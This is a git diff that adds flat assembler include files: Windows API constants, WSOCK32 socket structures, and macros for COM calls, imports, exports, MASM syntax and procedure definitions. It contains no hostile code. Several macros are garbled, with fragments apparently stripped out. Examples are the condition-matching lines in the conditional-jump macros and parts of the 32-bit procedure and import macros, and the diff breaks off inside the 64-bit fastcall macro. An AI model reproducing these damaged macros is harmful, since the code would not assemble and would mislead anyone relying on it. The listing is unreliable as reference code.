+TPM_LEFTBUTTON = 0000h +TPM_RIGHTBUTTON = 0002h +TPM_LEFTALIGN = 0000h +TPM_CENTERALIGN = 0004h +TPM_RIGHTALIGN = 0008h +TPM_TOPALIGN = 0000h +TPM_VCENTERALIGN = 0010h +TPM_BOTTOMALIGN = 0020h +TPM_HORIZONTAL = 0000h +TPM_VERTICAL = 0040h +TPM_NONOTIFY = 0080h +TPM_RETURNCMD = 0100h +TPM_RECURSE = 0001h +TPM_HORPOSANIMATION = 0400h +TPM_HORNEGANIMATION = 0800h +TPM_VERPOSANIMATION = 1000h +TPM_VERNEGANIMATION = 2000h +TPM_NOANIMATION = 4000h +TPM_LAYOUTRTL = 8000h + +; Menu item info mask values + +MIIM_STATE = 001h +MIIM_ID = 002h +MIIM_SUBMENU = 004h +MIIM_CHECKMARKS = 008h +MIIM_TYPE = 010h +MIIM_DATA = 020h +MIIM_STRING = 040h +MIIM_BITMAP = 080h +MIIM_FTYPE = 100h + +; DRAWITEMSTRUCT control types + +ODT_MENU = 1 +ODT_LISTBOX = 2 +ODT_COMBOBOX = 3 +ODT_BUTTON = 4 +ODT_STATIC = 5 + +; DRAWITEMSTRUCT actions + +ODA_DRAWENTIRE = 1 +ODA_SELECT = 2 +ODA_FOCUS = 4 + +; DRAWITEMSTRUCT states + +ODS_SELECTED = 0001h +ODS_GRAYED = 0002h +ODS_DISABLED = 0004h +ODS_CHECKED = 0008h +ODS_FOCUS = 0010h +ODS_DEFAULT = 0020h +ODS_COMBOBOXEDIT = 1000h +ODS_HOTLIGHT = 0040h +ODS_INACTIVE = 0080h + +; WINDOWPLACEMENT flags + +WPF_SETMINPOSITION = 1 +WPF_RESTORETOMAXIMIZED = 2 + +; Layered window attributes + +LWA_COLORKEY = 1 +LWA_ALPHA = 2 + +; UpdateLayeredWindow flags + +ULW_COLORKEY = 1 +ULW_ALPHA = 2 +ULW_OPAQUE = 4 + +; SystemParametersInfo parameters + +SPI_GETACCESSTIMEOUT = 60 +SPI_GETANIMATION = 72 +SPI_GETBEEP = 1 +SPI_GETBORDER = 5 +SPI_GETDEFAULTINPUTLANG = 89 +SPI_GETDRAGFULLWINDOWS = 38 +SPI_GETFASTTASKSWITCH = 35 +SPI_GETFILTERKEYS = 50 +SPI_GETFONTSMOOTHING = 74 +SPI_GETGRIDGRANULARITY = 18 +SPI_GETHIGHCONTRAST = 66 +SPI_GETICONMETRICS = 45 +SPI_GETICONTITLELOGFONT = 31 +SPI_GETICONTITLEWRAP = 25 +SPI_GETKEYBOARDDELAY = 22 +SPI_GETKEYBOARDPREF = 68 +SPI_GETKEYBOARDSPEED = 10 +SPI_GETLOWPOWERACTIVE = 83 +SPI_GETLOWPOWERTIMEOUT = 79 +SPI_GETMENUDROPALIGNMENT = 27 +SPI_GETMINIMIZEDMETRICS = 43 +SPI_GETMOUSE = 3 +SPI_GETMOUSEKEYS = 54 +SPI_GETMOUSETRAILS = 94 +SPI_GETNONCLIENTMETRICS = 41 +SPI_GETPOWEROFFACTIVE = 84 +SPI_GETPOWEROFFTIMEOUT = 80 +SPI_GETSCREENREADER = 70 +SPI_GETSCREENSAVEACTIVE = 16 +SPI_GETSCREENSAVETIMEOUT = 14 +SPI_GETSERIALKEYS = 62 +SPI_GETSHOWSOUNDS = 56 +SPI_GETSOUNDSENTRY = 64 +SPI_GETSTICKYKEYS = 58 +SPI_GETTOGGLEKEYS = 52 +SPI_GETWINDOWSEXTENSION = 92 +SPI_GETWORKAREA = 48 +SPI_ICONHORIZONTALSPACING = 13 +SPI_ICONVERTICALSPACING = 24 +SPI_LANGDRIVER = 12 +SPI_SCREENSAVERRUNNING = 97 +SPI_SETACCESSTIMEOUT = 61 +SPI_SETANIMATION = 73 +SPI_SETBEEP = 2 +SPI_SETBORDER = 6 +SPI_SETDEFAULTINPUTLANG = 90 +SPI_SETDESKPATTERN = 21 +SPI_SETDESKWALLPAPER = 20 +SPI_SETDOUBLECLICKTIME = 32 +SPI_SETDOUBLECLKHEIGHT = 30 +SPI_SETDOUBLECLKWIDTH = 29 +SPI_SETDRAGFULLWINDOWS = 37 +SPI_SETDRAGHEIGHT = 77 +SPI_SETDRAGWIDTH = 76 +SPI_SETFASTTASKSWITCH = 36 +SPI_SETFILTERKEYS = 51 +SPI_SETFONTSMOOTHING = 75 +SPI_SETGRIDGRANULARITY = 19 +SPI_SETHANDHELD = 78 +SPI_SETHIGHCONTRAST = 67 +SPI_SETICONMETRICS = 46 +SPI_SETICONTITLELOGFONT = 34 +SPI_SETICONTITLEWRAP = 26 +SPI_SETKEYBOARDDELAY = 23 +SPI_SETKEYBOARDPREF = 69 +SPI_SETKEYBOARDSPEED = 11 +SPI_SETLANGTOGGLE = 91 +SPI_SETLOWPOWERACTIVE = 85 +SPI_SETLOWPOWERTIMEOUT = 81 +SPI_SETMENUDROPALIGNMENT = 28 +SPI_SETMINIMIZEDMETRICS = 44 +SPI_SETMOUSE = 4 +SPI_SETMOUSEBUTTONSWAP = 33 +SPI_SETMOUSEKEYS = 55 +SPI_SETMOUSETRAILS = 93 +SPI_SETNONCLIENTMETRICS = 42 +SPI_SETPENWINDOWS = 49 +SPI_SETPOWEROFFACTIVE = 86 +SPI_SETPOWEROFFTIMEOUT = 82 +SPI_SETSCREENREADER = 71 +SPI_SETSCREENSAVEACTIVE = 17 +SPI_SETSCREENSAVERRUNNING = 97 +SPI_SETSCREENSAVETIMEOUT = 15 +SPI_SETSERIALKEYS = 63 +SPI_SETSHOWSOUNDS = 57 +SPI_SETSOUNDSENTRY = 65 +SPI_SETSTICKYKEYS = 59 +SPI_SETTOGGLEKEYS = 53 +SPI_SETWORKAREA = 47 + +; SystemParametersInfo flags + +SPIF_UPDATEINIFILE = 1 +SPIF_SENDWININICHANGE = 2 + +; Gesture Information Flags + +GF_BEGIN = 1 +GF_INERTIA = 2 +GF_END = 4 + +; Gesture IDs + +GID_BEGIN = 1 +GID_END = 2 +GID_ZOOM = 3 +GID_PAN = 4 +GID_ROTATE = 5 +GID_TWOFINGERTAP = 6 +GID_PRESSANDTAP = 7 +GID_ROLLOVER = GID_PRESSANDTAP + +; Zoom Gesture Confiration Flags + +GC_ZOOM = 0x00000001 + +; Pan Gesture Configuration Flags + +GC_PAN = 0x00000001 +GC_PAN_WITH_SINGLE_FINGER_VERTICALLY = 0x00000002 +GC_PAN_WITH_SINGLE_FINGER_HORIZONTALLY = 0x00000004 +GC_PAN_WITH_GUTTER = 0x00000008 +GC_PAN_WITH_INERTIA = 0x00000010 + +; Rotate Gesture Configuration Flags + +GC_ROTATE = 0x00000001 + +; Two finger tap configuration flags + +GC_TWOFINGERTAP = 0x00000001 + +; Press and tap Configuration Flags + +GC_PRESSANDTAP = 0x00000001 +GC_ROLLOVER = GC_PRESSANDTAP diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/WSOCK32.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/WSOCK32.INC new file mode 100755 index 0000000..4d0fd8e --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/WSOCK32.INC @@ -0,0 +1,124 @@ + +; WSOCK32.DLL structures and constants + +struct WSADATA + wVersion dw ? + wHighVersion dw ? + szDescription db 256+1 dup (?) + szSystemStatus db 128+1 dup (?) + iMaxSockets dw ? + iMaxUdpDg dw ? + _padding_ db 2 dup (?) + lpVendorInfo dd ? +ends + +struct hostent + h_name dd ? + h_aliases dd ? + h_addrtype dw ? + h_length dw ? + h_addr_list dd ? +ends + +struct sockaddr_in + sin_family dw ? + sin_port dw ? + sin_addr dd ? + sin_zero db 8 dup (?) +ends + +struct sockaddr + sa_family dw ? + sa_data db 14 dup (?) +ends + +; Socket types + +SOCK_STREAM = 1 +SOCK_DGRAM = 2 +SOCK_RAW = 3 +SOCK_RDM = 4 +SOCK_SEQPACKET = 5 + +; Address formats + +AF_UNSPEC = 0 +AF_UNIX = 1 +AF_INET = 2 +AF_IMPLINK = 3 +AF_PUP = 4 +AF_CHAOS = 5 +AF_NS = 6 +AF_IPX = 6 +AF_ISO = 7 +AF_OSI = AF_ISO +AF_ECMA = 8 +AF_DATAKIT = 9 +AF_CCITT = 10 +AF_SNA = 11 +AF_DECnet = 12 +AF_DLI = 13 +AF_LAT = 14 +AF_HYLINK = 15 +AF_APPLETALK = 16 +AF_NETBIOS = 17 + +; Protocol formats + +PF_UNSPEC = 0 +PF_UNIX = 1 +PF_INET = 2 +PF_IMPLINK = 3 +PF_PUP = 4 +PF_CHAOS = 5 +PF_NS = 6 +PF_IPX = 6 +PF_ISO = 7 +PF_OSI = PF_ISO +PF_ECMA = 8 +PF_DATAKIT = 9 +PF_CCITT = 10 +PF_SNA = 11 +PF_DECnet = 12 +PF_DLI = 13 +PF_LAT = 14 +PF_HYLINK = 15 +PF_APPLETALK = 16 +PF_NETBIOS = 17 + +; IP Ports + +IPPORT_ECHO = 7 +IPPORT_DISCARD = 9 +IPPORT_SYSTAT = 11 +IPPORT_DAYTIME = 13 +IPPORT_NETSTAT = 15 +IPPORT_FTP = 21 +IPPORT_TELNET = 23 +IPPORT_SMTP = 25 +IPPORT_TIMESERVER = 37 +IPPORT_NAMESERVER = 42 +IPPORT_WHOIS = 43 +IPPORT_MTP = 57 +IPPORT_TFTP = 69 +IPPORT_RJE = 77 +IPPORT_FINGER = 79 +IPPORT_TTYLINK = 87 +IPPORT_SUPDUP = 95 +IPPORT_EXECSERVER = 512 +IPPORT_LOGINSERVER = 513 +IPPORT_CMDSERVER = 514 +IPPORT_EFSSERVER = 520 +IPPORT_BIFFUDP = 512 +IPPORT_WHOSERVER = 513 +IPPORT_ROUTESERVER = 520 +IPPORT_RESERVED = 1024 + +; Notifications + +FD_READ = 01h +FD_WRITE = 02h +FD_OOB = 04h +FD_ACCEPT = 08h +FD_CONNECT = 10h +FD_CLOSE = 20h diff --git a/binary/hyperion/source/Fasm/INCLUDE/MACRO/COM32.INC b/binary/hyperion/source/Fasm/INCLUDE/MACRO/COM32.INC new file mode 100755 index 0000000..318749c --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/MACRO/COM32.INC @@ -0,0 +1,53 @@ + +; Macroinstructions for interfacing the COM (Component Object Model) classes + +macro cominvk object,proc,[arg] + { common + if ~ arg eq + reverse + pushd arg + common + end if + assert defined object#.com.object ; must be a COM object + mov eax,[object] + push eax + mov eax,[eax] + call [eax+object#.#proc] } + +macro comcall handle,interface,proc,[arg] + { common + if ~ arg eq + reverse + pushd arg + common + end if + assert defined interface#.com.interface ; must be a COM interface + if handle eqtype eax | handle eqtype 0 + push handle + local ..handle + label ..handle at handle + mov eax,[..handle] + else + mov eax,handle + push eax + mov eax,[eax] + end if + call [eax+interface#.#proc] } + +macro interface name,[proc] + { common + struc name \{ + match , @struct \\{ define field@struct .,name, \\} + match no, @struct \\{ . dd ? + virtual at 0 + forward + .#proc dd ? + common + .\#\\.com.object = name#.com.interface + end virtual \\} \} + virtual at 0 + forward + name#.#proc dd ? + common + name#.com.interface = $ shr 2 + end virtual } diff --git a/binary/hyperion/source/Fasm/INCLUDE/MACRO/COM64.INC b/binary/hyperion/source/Fasm/INCLUDE/MACRO/COM64.INC new file mode 100755 index 0000000..60ef71e --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/MACRO/COM64.INC @@ -0,0 +1,47 @@ + +; Macroinstructions for interfacing the COM (Component Object Model) classes + +macro cominvk object,proc,[arg] + { common + assert defined object#.com.object ; must be a COM object + macro call dummy + \{ mov rax,[object] + mov rax,[rax] + call [rax+object#.#proc] \} + fastcall ,[object],arg + purge call } + +macro comcall handle,interface,proc,[arg] + { common + assert defined interface#.com.interface ; must be a COM interface + macro call dummy + \{ if handle eqtype rax | handle eqtype 0 + local ..handle + label ..handle at handle + mov rax,[..handle] + else + mov rax,handle + mov rax,[rax] + end if + call [rax+interface#.#proc] \} + fastcall ,handle,arg + purge call } + +macro interface name,[proc] + { common + struc name \{ + match , @struct \\{ define field@struct .,name, \\} + match no, @struct \\{ . dq ? + virtual at 0 + forward + .#proc dq ? + common + .\#\\.com.object = name#.com.interface + end virtual \\} \} + virtual at 0 + forward + name#.#proc dq ? + common + name#.com.interface = $ shr 3 + end virtual } + diff --git a/binary/hyperion/source/Fasm/INCLUDE/MACRO/EXPORT.INC b/binary/hyperion/source/Fasm/INCLUDE/MACRO/EXPORT.INC new file mode 100755 index 0000000..d445a05 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/MACRO/EXPORT.INC @@ -0,0 +1,66 @@ + +; Macroinstruction for making export section + +macro export dllname,[label,string] + { common + local module,addresses,names,ordinal,count + count = 0 + forward + count = count+1 + common + dd 0,0,0,RVA module,1 + dd count,count,RVA addresses,RVA names,RVA ordinal + addresses: + forward + dd RVA label + common + names: + forward + local name + dd RVA name + common + ordinal: count = 0 + forward + dw count + count = count+1 + common + module db dllname,0 + forward + name db string,0 + common + local x,y,z,str1,str2,v1,v2 + x = count shr 1 + while x > 0 + y = x + while y < count + z = y + while z-x >= 0 + load v1 dword from names+z*4 + str1=($-RVA $)+v1 + load v2 dword from names+(z-x)*4 + str2=($-RVA $)+v2 + while v1 > 0 + load v1 from str1+%-1 + load v2 from str2+%-1 + if v1 <> v2 + break + end if + end while + if v1 +lt equ < + +macro PARSECOND parsed,cond +{ + define parsed + define neg@cond + define status@cond + define nest@cond + irps symb,cond + \{ + define symb@cond symb + match >,symb + \\{ + define symb@cond gt + \\} + match <,symb + \\{ + define symb@cond lt + \\} + current@cond equ status@cond + match ,current@cond + \\{ + match ~,symb + \\\{ + neg@cond equ neg@cond ~ + match ~~,neg@cond + \\\\{ + define neg@cond + \\\\} + define symb@cond + \\\} + match (,symb + \\\{ + parsed equ parsed neg@cond,< + define nest@cond + + define symb@cond + define neg@cond + \\\} + match any,symb@cond + \\\{ + parsed equ parsed neg@cond,symb@cond + define status@cond + + \\\} + \\} + match status,current@cond + \\{ + match &,symb + \\\{ + parsed equ parsed,&, + define status@cond + define symb@cond + define neg@cond + \\\} + match |,symb + \\\{ + parsed equ parsed,|, + define status@cond + define symb@cond + define neg@cond + \\\} + match (,symb + \\\{ + define nest@cond ( + \\\} + match ),symb + \\\{ + match +,nest@cond + \\\\{ + parsed equ parsed> + define symb@cond + \\\\} + restore nest@cond + \\\} + match any,symb@cond + \\\{ + parsed equ parsed symb@cond + \\\} + \\} + \} +} + +macro define_JNCONDEXPR +{ + macro JNCONDEXPR elabel,[mod,cond,op] + \{ + \common + \local ..t,..f + define t@cond ..t + define f@cond ..f + \forward + match ,op + \\{ + match ,mod \\\{ JNCONDEL elabel, \\\} + match ~,mod \\\{ JCONDEL elabel, \\\} + \\} + match &:flabel:tlabel, op:f@cond:t@cond + \\{ + match ,mod \\\{ JNCONDEL flabel, \\\} + match ~,mod \\\{ JCONDEL flabel, \\\} + tlabel: + \\local ..tnew + restore t@cond + define t@cond ..tnew + \\} + match |:flabel:tlabel, op:f@cond:t@cond + \\{ + match ,mod \\\{ JCONDEL tlabel, \\\} + match ~,mod \\\{ JNCONDEL tlabel, \\\} + flabel: + \\local ..fnew + restore f@cond + define f@cond ..fnew + \\} + \common + label f@cond at elabel + t@cond: + restore t@cond + restore f@cond + \} +} + +macro define_JCONDEXPR +{ + macro JCONDEXPR elabel,[mod,cond,op] + \{ + \common + \local ..t,..f + define t@cond ..t + define f@cond ..f + \forward + match ,op + \\{ + match ,mod \\\{ JCONDEL elabel, \\\} + match ~,mod \\\{ JNCONDEL elabel, \\\} + \\} + match |:flabel:tlabel, op:f@cond:t@cond + \\{ + match ,mod \\\{ JCONDEL flabel, \\\} + match ~,mod \\\{ JNCONDEL flabel, \\\} + tlabel: + \\local ..tnew + restore t@cond + define t@cond ..tnew + \\} + match &:flabel:tlabel, op:f@cond:t@cond + \\{ + match ,mod \\\{ JNCONDEL tlabel, \\\} + match ~,mod \\\{ JCONDEL tlabel, \\\} + flabel: + \\local ..fnew + restore f@cond + define f@cond ..fnew + \\} + \common + label f@cond at elabel + t@cond: + restore t@cond + restore f@cond + \} +} + +macro define_JNCONDEL +{ + macro JNCONDEL label,cond + \{ + \local COND + match car=,cdr,:cond + \\{ + define_JNCONDEXPR + define_JCONDEXPR + define_JCONDEL + define_JNCONDEL + JNCONDEXPR label,cond + purge JNCONDEXPR,JCONDEXPR,JCONDEL,JNCONDEL + define COND + \\} + match c,cond ; replace gt and lt + \\{ + match =COND =signed v1>==v2, COND c + \\\{ + cmp v1,v2 + jl label + define COND + \\\} + match =COND =signed v1<==v2, COND c + \\\{ + cmp v1,v2 + jg label + define COND + \\\} + match =COND v1>==v2, COND c + \\\{ + cmp v1,v2 + jb label + define COND + \\\} + match =COND v1<==v2, COND c + \\\{ + cmp v1,v2 + ja label + define COND + \\\} + match =COND v1==v2, COND c + \\\{ + cmp v1,v2 + jne label + define COND + \\\} + match =COND v1<>v2, COND c + \\\{ + cmp v1,v2 + je label + define COND + \\\} + match =COND =signed v1>v2, COND c + \\\{ + cmp v1,v2 + jle label + define COND + \\\} + match =COND =signed v1v2, COND c + \\\{ + cmp v1,v2 + jbe label + define COND + \\\} + match =COND v1==v2, COND c + \\\{ + cmp v1,v2 + jge label + define COND + \\\} + match =COND =signed v1<==v2, COND c + \\\{ + cmp v1,v2 + jle label + define COND + \\\} + match =COND v1>==v2, COND c + \\\{ + cmp v1,v2 + jae label + define COND + \\\} + match =COND v1<==v2, COND c + \\\{ + cmp v1,v2 + jbe label + define COND + \\\} + match =COND v1==v2, COND c + \\\{ + cmp v1,v2 + je label + define COND + \\\} + match =COND v1<>v2, COND c + \\\{ + cmp v1,v2 + jne label + define COND + \\\} + match =COND =signed v1>v2, COND c + \\\{ + cmp v1,v2 + jg label + define COND + \\\} + match =COND =signed v1v2, COND c + \\\{ + cmp v1,v2 + ja label + define COND + \\\} + match =COND v1 name#.lookup + name#.redundant = 0 + dd 0 + else + name#.redundant = 1 + end if + name#.address: + forward + if used label + if string eqtype '' + label dd RVA _label + else + label dd 80000000h + string + end if + end if + common + if ~ name#.redundant + dd 0 + end if + forward + if used label & string eqtype '' + _label dw 0 + db string,0 + rb RVA $ and 1 + end if + common + end if } + +macro api [name] {} diff --git a/binary/hyperion/source/Fasm/INCLUDE/MACRO/IMPORT64.INC b/binary/hyperion/source/Fasm/INCLUDE/MACRO/IMPORT64.INC new file mode 100755 index 0000000..7fd24bd --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/MACRO/IMPORT64.INC @@ -0,0 +1,68 @@ + +; Macroinstructions for making import section (64-bit) + +macro library [name,string] + { common + import.data: + forward + local _label + if defined name#.redundant + if ~ name#.redundant + dd RVA name#.lookup,0,0,RVA _label,RVA name#.address + end if + end if + name#.referred = 1 + common + dd 0,0,0,0,0 + forward + if defined name#.redundant + if ~ name#.redundant + _label db string,0 + rb RVA $ and 1 + end if + end if } + +macro import name,[label,string] + { common + rb (- rva $) and 7 + if defined name#.referred + name#.lookup: + forward + if used label + if string eqtype '' + local _label + dq RVA _label + else + dq 8000000000000000h + string + end if + end if + common + if $ > name#.lookup + name#.redundant = 0 + dq 0 + else + name#.redundant = 1 + end if + name#.address: + forward + if used label + if string eqtype '' + label dq RVA _label + else + label dq 8000000000000000h + string + end if + end if + common + if ~ name#.redundant + dq 0 + end if + forward + if used label & string eqtype '' + _label dw 0 + db string,0 + rb RVA $ and 1 + end if + common + end if } + +macro api [name] {} diff --git a/binary/hyperion/source/Fasm/INCLUDE/MACRO/MASM.INC b/binary/hyperion/source/Fasm/INCLUDE/MACRO/MASM.INC new file mode 100755 index 0000000..a77fdde --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/MACRO/MASM.INC @@ -0,0 +1,66 @@ + +; Simulate MASM's syntax + +struc struct + { struct . + name@struct equ . } + +struc ends + { match =.,name@struct \{ ends \} } + +struc proc [params] + { common define@proc ., + name@proc equ . } + +struc endp + { match =.,name@proc \{ endp \} } + +macro option setting + { match =prologue:macro, setting \{ prologue@proc equ macro \} + match =epilogue:macro, setting \{ epilogue@proc equ macro \} } + +macro none procname,flag,parmbytes,localbytes,reglist { } + +macro assume params + { + local expr + define expr params + match reg:struct, expr + \{ + match assumed, reg\#@assumed \\{ irp name, assumed \\\{ restore name \\\} \\} + macro label . \\{ local def + define def . + match =reg =at label, def \\\{ define def \\\} + match name at,def \\\{ def@assumed reg,name,label at + define def \\\} + match name,def \\\{ def@assumed reg,.,: \\\} \\} + struc db [val] \\{ \common def@assumed reg,., \\} + struc dw [val] \\{ \common def@assumed reg,., \\} + struc dp [val] \\{ \common def@assumed reg,., \\} + struc dd [val] \\{ \common def@assumed reg,.,
\\} + struc dt [val] \\{ \common def@assumed reg,.,
\\} + struc dq [val] \\{ \common def@assumed reg,., \\} + struc rb cnt \\{ def@assumed reg,.,rb cnt \\} + struc rw cnt \\{ def@assumed reg,.,rw cnt \\} + struc rp cnt \\{ def@assumed reg,.,rp cnt \\} + struc rd cnt \\{ def@assumed reg,.,rd cnt \\} + struc rt cnt \\{ def@assumed reg,.,rt cnt \\} + struc rq cnt \\{ def@assumed reg,.,rq cnt \\} + reg\#@assumed equ + virtual at reg + reg struct + end virtual + purge label + restruc db,dw,dp,dd,dt,dq + restruc rb,rw,rp,rd,rt,rq \} } + +macro def@assumed reg,name,def + { match vars, reg#@assumed \{ reg#@assumed equ reg#@assumed, \} + reg#@assumed equ reg#@assumed name + local ..label + name equ ..label + ..label def } + +struc label type { label . type } + +struc none { label . } diff --git a/binary/hyperion/source/Fasm/INCLUDE/MACRO/PROC32.INC b/binary/hyperion/source/Fasm/INCLUDE/MACRO/PROC32.INC new file mode 100755 index 0000000..762826c --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/MACRO/PROC32.INC @@ -0,0 +1,301 @@ + +; Macroinstructions for defining and calling procedures + +macro stdcall proc,[arg] ; directly call STDCALL procedure + { common + if ~ arg eq + reverse + pushd arg + common + end if + call proc } + +macro invoke proc,[arg] ; indirectly call STDCALL procedure + { common + if ~ arg eq + reverse + pushd arg + common + end if + call [proc] } + +macro ccall proc,[arg] ; directly call CDECL procedure + { common + size@ccall = 0 + if ~ arg eq + reverse + pushd arg + size@ccall = size@ccall+4 + common + end if + call proc + if size@ccall + add esp,size@ccall + end if } + +macro cinvoke proc,[arg] ; indirectly call CDECL procedure + { common + size@ccall = 0 + if ~ arg eq + reverse + pushd arg + size@ccall = size@ccall+4 + common + end if + call [proc] + if size@ccall + add esp,size@ccall + end if } + +macro proc [args] ; define procedure + { common + match name params, args> + \{ define@proc name, \{ prologue name,flag,parmbytes,localbytes,reglist \} + virtual at parmbase@proc + match =,args, params \{ defargs@proc args \} + match =args@proc args, args@proc params \{ defargs@proc args \} + parmbytes = $-(parmbase@proc) + end virtual + name # % = parmbytes/4 + all@vars equ + current = 0 + macro locals + \{ virtual at localbase@proc+current + macro label def \\{ match . type,def> \\\{ deflocal@proc .,label, \\\{ epilogue name,flag,parmbytes,localbytes,reglist \\\} \\} \} + macro finish@proc + \{ localbytes = current + match close:reglist, close@proc: \\{ close name,flag,parmbytes,localbytes,reglist \\} + end if \} } + +macro defargs@proc [arg] + { common + if ~ arg eq + forward + local ..arg,current@arg + match argname:type, arg + \{ current@arg equ argname + label ..arg type + argname equ ..arg + if qqword eq type + dd ?,?,?,?,?,?,?,? + else if dqword eq type + dd ?,?,?,? + else if tbyte eq type + dd ?,?,? + else if qword eq type | pword eq type + dd ?,? + else + dd ? + end if \} + match =current@arg,current@arg + \{ current@arg equ arg + arg equ ..arg + ..arg dd ? \} + common + args@proc equ current@arg + forward + restore current@arg + common + end if } + +macro deflocal@proc name,def,[val] { name def val } + +macro deflocal@proc name,def,[val] + { common + match vars, all@vars \{ all@vars equ all@vars, \} + all@vars equ all@vars name + forward + local ..var,..tmp + ..var def val + match =?, val \{ ..tmp equ \} + match any =?, val \{ ..tmp equ \} + match any (=?), val \{ ..tmp equ \} + match =label, def \{ ..tmp equ \} + match tmp : value, ..tmp : val + \{ tmp: end virtual + initlocal@proc ..var,def value + virtual at tmp\} + common + match first rest, ..var, \{ name equ first \} } + +struc label type { label . type } + +macro initlocal@proc name,def + { virtual at name + def + size@initlocal = $ - name + end virtual + position@initlocal = 0 + while size@initlocal > position@initlocal + virtual at name + def + if size@initlocal - position@initlocal < 2 + current@initlocal = 1 + load byte@initlocal byte from name+position@initlocal + else if size@initlocal - position@initlocal < 4 + current@initlocal = 2 + load word@initlocal word from name+position@initlocal + else + current@initlocal = 4 + load dword@initlocal dword from name+position@initlocal + end if + end virtual + if current@initlocal = 1 + mov byte [name+position@initlocal],byte@initlocal + else if current@initlocal = 2 + mov word [name+position@initlocal],word@initlocal + else + mov dword [name+position@initlocal],dword@initlocal + end if + position@initlocal = position@initlocal + current@initlocal + end while } + +macro endp + { purge ret,locals,endl + finish@proc + purge finish@proc + restore regs@proc + match all,args@proc \{ restore all \} + restore args@proc + match all,all@vars \{ restore all \} } + +macro local [var] + { common + locals + forward done@local equ + match varname[count]:vartype, var + \{ match =BYTE, vartype \\{ varname rb count + restore done@local \\} + match =WORD, vartype \\{ varname rw count + restore done@local \\} + match =DWORD, vartype \\{ varname rd count + restore done@local \\} + match =PWORD, vartype \\{ varname rp count + restore done@local \\} + match =QWORD, vartype \\{ varname rq count + restore done@local \\} + match =TBYTE, vartype \\{ varname rt count + restore done@local \\} + match =DQWORD, vartype \\{ label varname dqword + rq count*2 + restore done@local \\} + match =QQWORD, vartype \\{ label varname qqword + rq count*4 + restore done@local \\} + match =XWORD, vartype \\{ label varname xword + rq count*2 + restore done@local \\} + match =YWORD, vartype \\{ label varname yword + rq count*4 + restore done@local \\} + match , done@local \\{ virtual + varname vartype + end virtual + rb count*sizeof.\#vartype + restore done@local \\} \} + match :varname:vartype, done@local:var + \{ match =BYTE, vartype \\{ varname db ? + restore done@local \\} + match =WORD, vartype \\{ varname dw ? + restore done@local \\} + match =DWORD, vartype \\{ varname dd ? + restore done@local \\} + match =PWORD, vartype \\{ varname dp ? + restore done@local \\} + match =QWORD, vartype \\{ varname dq ? + restore done@local \\} + match =TBYTE, vartype \\{ varname dt ? + restore done@local \\} + match =DQWORD, vartype \\{ label varname dqword + dq ?,? + restore done@local \\} + match =QQWORD, vartype \\{ label varname qqword + dq ?,?,?,? + restore done@local \\} + match =XWORD, vartype \\{ label varname xword + dq ?,? + restore done@local \\} + match =YWORD, vartype \\{ label varname yword + dq ?,?,?,? + restore done@local \\} + match , done@local \\{ varname vartype + restore done@local \\} \} + match ,done@local + \{ var + restore done@local \} + common + endl } diff --git a/binary/hyperion/source/Fasm/INCLUDE/MACRO/PROC64.INC b/binary/hyperion/source/Fasm/INCLUDE/MACRO/PROC64.INC new file mode 100755 index 0000000..1fba99b --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/MACRO/PROC64.INC @@ -0,0 +1,618 @@ + +; Macroinstructions for defining and calling procedures (x64 version) + +macro invoke proc,[arg] + { common fastcall [proc],arg } + +macro fastcall proc,[arg] + { common local stackspace,argscount,counter + if argscount < 4 + stackspace = 4*8 + else if argscount and 1 + stackspace = (argscount+1)*8 + else + stackspace = argscount*8 + end if + counter = 0 + if stackspace + if defined current@frame + if current@frame + virtual + origin = $ + inc param + load opcode byte from origin + if opcode = 67h | opcode = 41h + load opcode byte from origin+1 + end if + if opcode and 0F8h = 48h + size@param = 8 + else if opcode = 66h + size@param = 2 + else if opcode = 0FFh + size@param = 4 + else + size@param = 1 + end if + end virtual + end if + if counter = 1 + if type@param eq float + if ~ param eq xmm0 + if size@param = 4 + if param eqtype byte 0 | param eqtype byte 0f + mov eax,param + movd xmm0,eax + else + movd xmm0,param + end if + else + if param eqtype 0 | param eqtype 0f | param eqtype byte 0 | param eqtype byte 0f + mov rax,param + movq xmm0,rax + else + movq xmm0,param + end if + end if + end if + if vararg@fastcall & ~ param eq rcx + movq rcx,xmm0 + end if + else if type@param eq addr + if ~ param eq rcx + lea rcx,[param] + end if + else if size@param = 8 + if ~ param eq rcx + mov rcx,param + end if + else if size@param = 4 + if ~ param eq ecx + mov ecx,param + end if + else if size@param = 2 + if ~ param eq cx + mov cx,param + end if + else if size@param = 1 + if ~ param eq cl + mov cl,param + end if + end if + else if counter = 2 + if type@param eq float + if ~ param eq xmm1 + if size@param = 4 + if param eqtype byte 0 | param eqtype byte 0f + mov eax,param + movd xmm1,eax + else + movd xmm1,param + end if + else + if param eqtype 0 | param eqtype 0f | param eqtype byte 0 | param eqtype byte 0f + mov rax,param + movq xmm1,rax + else + movq xmm1,param + end if + end if + end if + if vararg@fastcall & ~ param eq rdx + movq rdx,xmm1 + end if + else if type@param eq addr + if ~ param eq rdx + lea rdx,[param] + end if + else if size@param = 8 + if ~ param eq rdx + mov rdx,param + end if + else if size@param = 4 + if ~ param eq edx + mov edx,param + end if + else if size@param = 2 + if ~ param eq dx + mov dx,param + end if + else if size@param = 1 + if ~ param eq dl + mov dl,param + end if + end if + else if counter = 3 + if type@param eq float + if ~ param eq xmm2 + if size@param = 4 + if param eqtype byte 0 | param eqtype byte 0f + mov eax,param + movd xmm2,eax + else + movd xmm2,param + end if + else + if param eqtype 0 | param eqtype 0f | param eqtype byte 0 | param eqtype byte 0f + mov rax,param + movq xmm2,rax + else + movq xmm2,param + end if + end if + end if + if vararg@fastcall & ~ param eq r8 + movq r8,xmm2 + end if + else if type@param eq addr + if ~ param eq r8 + lea r8,[param] + end if + else if size@param = 8 + if ~ param eq r8 + mov r8,param + end if + else if size@param = 4 + if ~ param eq r8d + mov r8d,param + end if + else if size@param = 2 + if ~ param eq r8w + mov r8w,param + end if + else if size@param = 1 + if ~ param eq r8b + mov r8b,param + end if + end if + else if counter = 4 + if type@param eq float + if ~ param eq 